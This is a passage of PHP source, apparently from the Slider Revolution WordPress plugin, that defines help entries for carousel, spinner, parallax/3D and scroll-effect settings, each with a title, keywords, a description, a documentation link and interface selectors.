Applicable to slot-based transitions.", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.firstSlide.set', $v => true, $o => 'slider_general_firstslidetransition')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_fsslotamount" ) ) ), 'browser_behavior' => array( 'next_slide_on_focus' => array( $t => __("Next Slide on Focus", 'revsliderhelp'), $h => "general.nextSlideOnFocus", $k => array("next on focus", "tab focus", "tab blur", "next slide on focus"), $d => __("Change slides when the user navigates to a new window or tab and then returns to the page", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_misc', $f => "#sr_gen_nextSlideOnFocus") ), 'disable_blur_focus' => array( $t => __("Disable Blur/Focus behavior", 'revsliderhelp'), $h => "general.disableFocusListener", $k => array("blur", "focus", "disable blur"), $d => __("Disable Slider resizing when the user navigates away from the tab/window and returns to the page", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_misc', $f => "#sr_gen_disableFocusListener") ) ) ), 'gst_sl_3' => array( 'layout' => array( 'orientation' => array( $t => __("Carousel Orientation", 'revsliderhelp'), $h => "carousel.orientation", $k => array("carousel", "orientation", "direction"), $d => __("Changes carousel orientation to allow you to drag either horizontally or vertically", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.orientation', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_orient" ) ), 'Justify' => array( $t => __("Keep Aspect Ratio(Justify)", 'revsliderhelp'), $h => "carousel.justify", $k => array("carousel", "justify", "orientation"), $d => __("Keep aspect ratio of the Carousel Items to use the same height with auto width.", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.justify', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_justi" ) ), 'vertical_visibility' => array( $t => __("Prev/Next Visibility", 'revsliderhelp'), $h => "carousel.prevNextVis", $k => array("carousel", "vertical space", "vertical visibility", "prev next visibility"), $d => __("Determines visiblity of previous and next slides. A value of 100px will show 50px of previous and next slides. If value is set in percent for example 50% then 25% of previous slide will be visible, and 25% of next slide.", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.prevNextVis', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_pdt" ) ), 'snap' => array( $t => __("Carousel Snap", 'revsliderhelp'), $h => "carousel.snap", $k => array("carousel", "vertical snap", "horizontal snap", "snap"), $d => __("Snap carousel to slides based on slides alignment settings.", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.snap', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_snap" ) ), 'infinity_scroll' => array( $t => __("Infinity Scroll", 'revsliderhelp'), $h => "carousel.infinity", $k => array("carousel", "infinity", "scroll", "infinity scroll"), $d => __("Slides will continuously appear from either side when the Slides change", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_inf" ) ), 'stopOnClick' => array( $t => __("Stop Progress On Click", 'revsliderhelp'), $h => "carousel.stopOnClick", $k => array("carousel", "stop", "scroll", "stop on click"), $d => __("Autorotate progress will get stopped if user clicks on slider", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_socl" ) ), 'layers_visible' => array( $t => __("Layers Visible", 'revsliderhelp'), $h => "carousel.showAllLayers", $k => array("carousel", "layers visible", "show layers"), $d => __("Layers from Slides that are visible in the carousel will always be visible by default (Layer animations will be disabled)", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_showAllLayers" ) ), 'max_items' => array( $t => __("Max Visible Slides", 'revsliderhelp'), $h => "carousel.maxItems", $k => array("carousel", "max visible", "max visible slides"), $d => __("The maximum number of Slides that will be visible at any given time. View the documentation below to learn how to set a minimum.", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_mitems" ) ), 'stretch_slides' => array( $t => __("Stretch Slides", 'revsliderhelp'), $h => "carousel.stretch", $k => array("carousel", "stretch", "stretch slides", "full width", "full width slides"), $d => __("Slides will always appear as full width, resulting in one Slide being visible at a time", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_stretch" ) ), 'border_radius' => array( $t => __("Border Radius", 'revsliderhelp'), $h => "carousel.borderRadius", $k => array("carousel", "border radius", "carouse border radius"), $d => __("Add a CSS border-radius to the carousel items (px)", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_br" ) ), 'space' => array( $t => __("Item Spacing", 'revsliderhelp'), $h => "carousel.space", $k => array("carousel", "carousel spacing", "item spacing", "space", "spacing"), $d => __("Define the spacing between the carousel items (px)", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_gap" ) ), 'padding_top' => array( $t => __("Padding Top", 'revsliderhelp'), $h => "carousel.paddingTop", $k => array("carousel", "carousel padding", "carousel padding top", "padding top", "padding"), $d => __("Define the CSS padding-top for the carousel items (px)", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_pdt" ) ), 'padding_bottom' => array( $t => __("Padding Bottom", 'revsliderhelp'), $h => "carousel.paddingBottom", $k => array("carousel", "carousel padding", "carousel padding bottom", "padding bottom", "padding"), $d => __("Define the CSS padding-bottom for the carousel items (px)", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_pdb" ) ), 'horizontal_align' => array( $t => __("Horizontal Align", 'revsliderhelp'), $h => "carousel.horizontal", $k => array("carousel", "carousel align", "carousel horizontal align", "horizontal align", "align"), $d => __("Decide how the items should be aligned horizontally inside the Slide container", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_halign" ) ), 'vertical_align' => array( $t => __("Vertical Align", 'revsliderhelp'), $h => "carousel.vertical", $k => array("carousel", "carousel align", "carousel vertical align", "vertical align", "align"), $d => __("Decide how the items should be aligned vertically inside the Slide container", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel', $f => "#sr_ca_valign" ) ) ), 'animation' => array( 'easing' => array( $t => __("Easing", 'revsliderhelp'), $h => "carousel.ease", $k => array("carousel", "carousel easing", "carousel transition", "carousel animation", "carousel transition easing", "easing"), $d => __("The easing equation for when the carousel changes from one Slide to the next", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_animation', $f => "#sr_ca_ease" ) ), 'speed' => array( $t => __("Speed", 'revsliderhelp'), $h => "carousel.speed", $k => array("carousel", "carousel speed", "carousel transition", "carousel animation", "carousel transition speed", "speed"), $d => __("The speed the items will change form one Slide to the next (in milliseconds)", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_animation', $f => "#sr_ca_speed" ) ), 'overshoot' => array( $t => __("Overshoot", 'revsliderhelp'), $h => "carousel.overshoot", $k => array("carousel", "carousel bounce", "carousel overshoot", "physics"), $d => __("This option mimics physics when you drag and throw carousel quickly, carousel will smoothly go past the predicted slide and animate back to target slide using ease set by user.", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.overshoot', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_animation', $f => "#sr_ca_overshoot" ) ) ), 'effects' => array( 'spin' => array( $di => "slider_carousel_spin", $t => __("Spin", 'revsliderhelp'), $h => "carousel.spin", $k => array("carousel", "carousel spin", "2d spin", "3d spin", "spin"), $d => __("Set carousel to spin in 2d or 3d space, change angle settings to determine direction of the spin.", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.spin', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_spin" ) ), 'spin_angle' => array( $di => "slider_carousel_spinangle", $t => __("Spin Angle", 'revsliderhelp'), $h => "carousel.spinAngle", $k => array("carousel", "spin", "spin angle", "spin angle spacing"), $d => __("Sets the angle between two slides for spin effect. In 2D spin, angle determines spin direction. In 3D spin, angle determines if slides will spin inwards or outwards in 3D space.", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.spinAngle', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_spinangle" ) ), 'skewX' => array( $di => "slider_carousel_skewx", $t => __("Carousel Skew", 'revsliderhelp'), $h => "carousel.skewX", $k => array("carousel", "skew", "drag skew"), $d => __("Entire carousel will horizontally skew based on angle set and based on current speed of carousel", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.skewX', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_skewxall" ) ), 'skewY' => array( $di => "slider_carousel_skewy", $t => __("Carousel SkewY", 'revsliderhelp'), $h => "carousel.skewY", $k => array("carousel", "skew", "drag skew"), $d => __("Entire carousel will vertically skew based on angle set and based on current speed of carousel", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.skewY', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_skewyall" ) ), 'fade' => array( $di => "slider_carousel_fadeout", $t => __("Fade Items", 'revsliderhelp'), $h => "carousel.fadeOut", $k => array("carousel", "fade", "carousel fade", "carousel items", "carousel item opacity"), $d => __("Apply opacity to the non-activate Slides", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_fadeall" ) ), 'varying_fade' => array( $t => __("Varying Fade", 'revsliderhelp'), $h => "carousel.varyFade", $k => array("carousel", "fade", "carousel fade", "carousel items", "carousel item opacity", "varying fade"), $d => __("Apply varying opacity to the non-activate Slides in staggered order", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'), array($p => 'settings.carousel.fadeOut', $v => true, $o => 'slider_carousel_fadeout') ), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_vfadeall" ) ), 'rotation_enable' => array( $di => "slider_carousel_rotation", $t => __("Enable 3D Rotation", 'revsliderhelp'), $h => "carousel.rotation", $k => array("carousel", "rotation", "carousel rotate items", "rotate items", "3d rotation"), $d => __("Apply a 3D rotation to the non-active items", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_rotate" ) ), 'degrees' => array( $t => __("Rotation Degrees", 'revsliderhelp'), $h => "carousel.maxRotation", $k => array("carousel", "carousel items", "carousel rotation", "item rotation", "3d rotation", "rotation degrees", "degrees"), $d => __("The degree value for the 3D rotation applied to the non-active items", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'), array($p => 'settings.carousel.rotation', $v => true, $o => 'slider_carousel_rotation') ), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_maxrot" ) ), 'varying_rotation' => array( $t => __("Varying Rotation", 'revsliderhelp'), $h => "carousel.varyRotate", $k => array("carousel", "carousel items", "carousel rotation", "item rotation", "3d rotation", "varying rotation"), $d => __("Apply varying rotations to the non-activate Slides in staggered order", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'), array($p => 'settings.carousel.rotation', $v => true, $o => 'slider_carousel_rotation') ), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_vrotate" ) ), 'scale' => array( $di => "slider_carousel_scale", $t => __("Enable Scaling", 'revsliderhelp'), $h => "carousel.scale", $k => array("carousel", "carousel items", "carousel scale", "item scale", "carousel scaling", "carousel zoom", "zoom"), $d => __("Zoom the non-active items by a certain percentage", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_scale" ) ), 'scale_percentage' => array( $t => __("Scale Percentage", 'revsliderhelp'), $h => "carousel.scaleDown", $k => array("carousel", "carousel items", "carousel scale", "item scale", "carousel scaling", "carousel zoom", "zoom"), $d => __("Zoom the non-active items by this percentage", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'), array($p => 'settings.carousel.scale', $v => true, $o => 'slider_carousel_scale') ), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_scaleDown" ) ), 'varying_scale' => array( $t => __("Varing Scale", 'revsliderhelp'), $h => "carousel.varyScale", $k => array("carousel", "carousel items", "carousel scale", "item scale", "carousel scaling", "carousel zoom", "zoom", "varying scale", "varying zoom"), $d => __("Apply varying scale/zooms to the non-activate Slides in staggered order", 'revsliderhelp'), $a => $u . "carousel-settings/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'), array($p => 'settings.carousel.scale', $v => true, $o => 'slider_carousel_scale') ), $m => "#module_settings_trigger, #gst_sl_3", $st => '#form_slidergeneral_caroussel_effects', $f => "#sr_ca_vscale" ) ) ) ), 'gst_sl_12' => array( 'enable_spinner' => array( $di => 'slider_spinner', $t => __("Spinner / Preloader", 'revsliderhelp'), $h => "layout.spinner.type", $k => array("spinner", "preloader", "loader"), $d => __("Display a spinner animation when the Module first loads", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_12", $st => '#form_sliderspinner', $f => "#revealer_spinners") ), 'spinner_color' => array( $t => __("Spinner Color", 'revsliderhelp'), $h => "layout.spinner.color", $k => array("spinner", "preloader", "loader", "spinner color", "preloader color"), $d => __("The color of the spinner/preloader that shows before the Module first loads", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.layout.spinner.type', $v => '0::1::2::3::4::5', $o => 'slider_spinner')), $m => "#module_settings_trigger, #gst_sl_12", $st => '#form_sliderspinner', $f => "#module_spinner_color" ) ) ), 'gst_sl_8' => array( 'parallax' => array( 'enable_effects' => array( $di => "slider_parallax", $t => __("Enable Parallax/3D Effects", 'revsliderhelp'), $h => "parallax.set", $k => array("parallax", "3D", "3d", "effects", "effect"), $d => __("Enable the special effects engine for the Slider", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax', $f => "#sr_effectspddd") ), 'enable_3d' => array( $di => "slider_parallax_3d", $t => __("Enable 3D Effects", 'revsliderhelp'), $h => "parallax.setDDD", $k => array("3d", "effect", "effects", "3d effect"), $d => __("Enable the Parallax/3D effect engine for the Slider", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax', $f => "#sr_effectddd" ) ), 'disable_mobile' => array( $t => __("Disable Parallax/3D on Mobile", 'revsliderhelp'), $h => "parallax.disableOnMobile", $k => array("3d", "effect", "effects", "3d effect", "disable", "disable mobile"), $d => __("Disable the Parallax/3D effects for mobile devices", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax', $f => "#sr_effectdisableonmobile" ) ), 'mouse_sensibility' => array( 'triggered_by' => array( $di => "slider_parallax_mouse_type", $t => __("Triggered By", 'revsliderhelp'), $h => "parallax.mouse.type", $k => array("parallax mouse", "parallax scroll", "scroll", "mouse", "mouse move", "triggered", "triggered by"), $d => __("Choose if the Parallax/3D effects should happen on mouse move, page scroll or both", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_mous', $f => "#slider_parallax_mouse_sens_event") ), 'parallax_origin' => array( $t => __("Parallax Origin", 'revsliderhelp'), $h => "parallax.mouse.origo", $k => array("parallax origo", "parallax origin, 3D origin"), $d => __("Choose if the origin point for the effect should be the Layer's center, or based on where the user first hovered their mouse over the element", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_mous', $f => "#slider_parallax_mouse_origo") ), 'mouse_speed' => array( $t => __("Mouse Speed", 'revsliderhelp'), $h => "parallax.mouse.speed", $k => array("mouse speed", "parallax mouse", "parallax mouse speed", "parallax speed"), $d => __("The sensitivity speed for the Parallax effect(s) on mouse-move", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.parallax.mouse.type', $v => 'mouse::mousescroll', $o => 'slider_parallax_mouse_type')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_mous', $f => "#sr_parallax_mbspeed" ) ), 'bg_speed' => array( $t => __("Background Image Speed", 'revsliderhelp'), $h => "parallax.mouse.bgSpeed", $k => array("bg speed", "parallax background", "parallax background image", "parallax image"), $d => __("The movement speed for the Slide's main background when the effect(s) occur", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.parallax.mouse.type', $v => 'scroll::mousescroll', $o => 'slider_parallax_mouse_type')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_mous', $f => "#sr_parallax_mbgspeed" ) ), 'layers_speed' => array( $t => __("Layers Speed", 'revsliderhelp'), $h => "parallax.mouse.layersSpeed", $k => array("bg speed", "parallax background", "parallax background layer", "parallax layers"), $d => __("The movement speed for the Slide's Layers when the effect(s) occur", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.parallax.mouse.type', $v => 'scroll::mousescroll', $o => 'slider_parallax_mouse_type')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_mous', $f => "#sr_parallax_mlayspeed" ) ) ), 'threed_settings' => array( 'shadow' => array( $t => __("3D Shadow", 'revsliderhelp'), $h => "parallax.ddd.shadow", $k => array("3d", "3d effect", "3d shadow", "shadow"), $d => __("Apply a box-shadow to the 3D element to enhance the effect", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array( array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'), array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d') ), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_dddd', $f => "#sr_ddd_shadow" ) ), 'background' => array( $t => __("Background Enabled", 'revsliderhelp'), $h => "parallax.ddd.BGFreeze", $k => array("3d", "3d effect", "3d background", "3d bg"), $d => __("Choose if the Slide's main background image should be included for the 3D effect", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array( array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'), array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d') ), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_dddd', $f => "#sr_ddd_BGFreeze" ) ), 'slider_overflow' => array( $t => __("Slide BG Overflow Hidden", 'revsliderhelp'), $h => "parallax.ddd.overflow", $k => array("3d", "3d effect", "3d overflow", "3D overflow hidden", "3d background", "3d bg"), $d => __("Choose if the Slider's main background can bleed outside the Slider's bounding box when skewed in 3D space", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array( array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'), array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d') ), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_dddd', $f => "#sr_ddd_overflow" ) ), 'layers_overflow' => array( $t => __("Layers Overflow Hidden", 'revsliderhelp'), $h => "parallax.ddd.layerOverflow", $k => array("3d", "3d effect", "3d overflow", "3D overflow hidden", "3d layers"), $d => __("Choose if Slide Layers can bleed outside the Slider's bounding box when skewed in 3D space", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array( array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'), array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d') ), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_dddd', $f => "#sr_ddd_layerOverflow" ) ), 'threed_crop_fix' => array( $t => __("3D Crop Fix", 'revsliderhelp'), $h => "parallax.ddd.zCorrection", $k => array("3d", "3d effect", "3d crop", "3D crop fix"), $d => __("Applies a translateZ to the 3D elements to help avoid overlapping", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array( array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'), array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d') ), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_dddd', $f => "#sr_ddd_zCorrection" ) ), 'bg_3d_depth' => array( $t => __("BG 3D Depth", 'revsliderhelp'), $h => "bgparallaxlevel", $k => array("3d", "3d effect", "3d depth", "bg depth", "bg 3d depth"), $d => __("The 3D depth level for the Slide's main background", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array( array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'), array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d') ), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_dddd', $f => "#sr_paralaxlevel_16" ) ) ), 'depths' => array( $t => __("Parallax Depths", 'revsliderhelp'), $h => "parallax.levels", $k => array("parallax", "depth", "parallax depth", "parallax depths"), $d => __("Define a depth for each of the 15 options, which can then be assigned to any given Layer", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_depths', $f => "#sr_paralaxlevel_1" ) ) ), 'timeline' => array( 'enabled' => array( $di => 'scroll_timeline_enabled', $t => __("Timeline Scroll Effects", 'revsliderhelp'), $h => "scrolltimeline.set", $k => array("timeline", "scroll", "scroll effects", "animation"), $d => __("The Slide's content will animate into and out of view as the user scrolls the page.", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", $st => '#form_module_scroll', $f => "#sr_sbt_ge_enabled") ), 'easing' => array( $t => __("Animation Easing", 'revsliderhelp'), $h => "scrolltimeline.ease", $k => array("timeline", "scroll", "scroll effects", "animation", "easing"), $d => __("The easing equation to be applied to the animated content as the page scrolls", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolltimeline.set', $v => true, $o => 'scroll_timeline_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", $st => '#form_module_scroll', $f => "#scroll_timeline_ease" ) ), 'duration' => array( $t => __("Animation Speed", 'revsliderhelp'), $h => "scrolltimeline.speed", $k => array("timeline", "scroll", "scroll effects", "animation", "duration", "speed"), $d => __("The speed at which the content will animate as the page scrolls (in milliseconds)", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolltimeline.set', $v => true, $o => 'scroll_timeline_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", $st => '#form_module_scroll', $f => "#scrolltimeline_speed" ) ), 'use_on' => array( $t => __("Animate Layers on Scroll", 'revsliderhelp'), $h => "scrolltimeline.layers", $k => array("timeline", "scroll", "scroll effects", "animation", "layers"), $d => __("Animate the Layer's by default on Scroll (can then be turned off per Layer in the Layer settings)", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolltimeline.set', $v => true, $o => 'scroll_timeline_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", $st => '#form_slidergeneral_effects_scroll_on', $f => "#sr_scrtime_layers" ) ) ), 'effects' => array( 'enabled' => array( $di => 'scroll_effects_enabled', $t => __("Scroll Effects", 'revsliderhelp'), $h => "scrolleffects.set", $k => array("scroll", "scroll effects", "fade on scroll", "special effects"), $d => __("Apply special effects to your content when the page is scrolled", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll', $f => "#sr_sbe_ge_enabled") ), 'fade' => array( $t => __("Fade", 'revsliderhelp'), $h => "scrolleffects.setFade", $k => array("scroll", "scroll effects", "fade on scroll", "special effects"), $d => __("Fade the Slider out when it scrolls into and out of view", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll', $f => "#sr_se_fadeset" ) ), 'grayscale' => array( $t => __("GrayScale", 'revsliderhelp'), $h => "scrolleffects.setGrayScale", $k => array("scroll", "scroll effects", "grayscale on scroll", "special effects", "grayscale"), $d => __("Apply a black and white filter to the Slider when it scrolls into and out of view", 